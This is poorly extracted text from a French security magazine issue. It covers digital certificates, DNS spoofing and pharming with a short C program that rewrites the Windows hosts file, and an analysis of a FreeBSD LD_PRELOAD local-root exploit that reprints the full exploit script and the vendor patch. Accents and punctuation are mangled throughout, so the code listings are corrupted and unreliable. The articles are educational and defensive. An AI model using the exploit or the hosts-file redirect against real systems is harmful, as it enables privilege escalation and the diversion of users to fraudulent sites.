certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 24: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

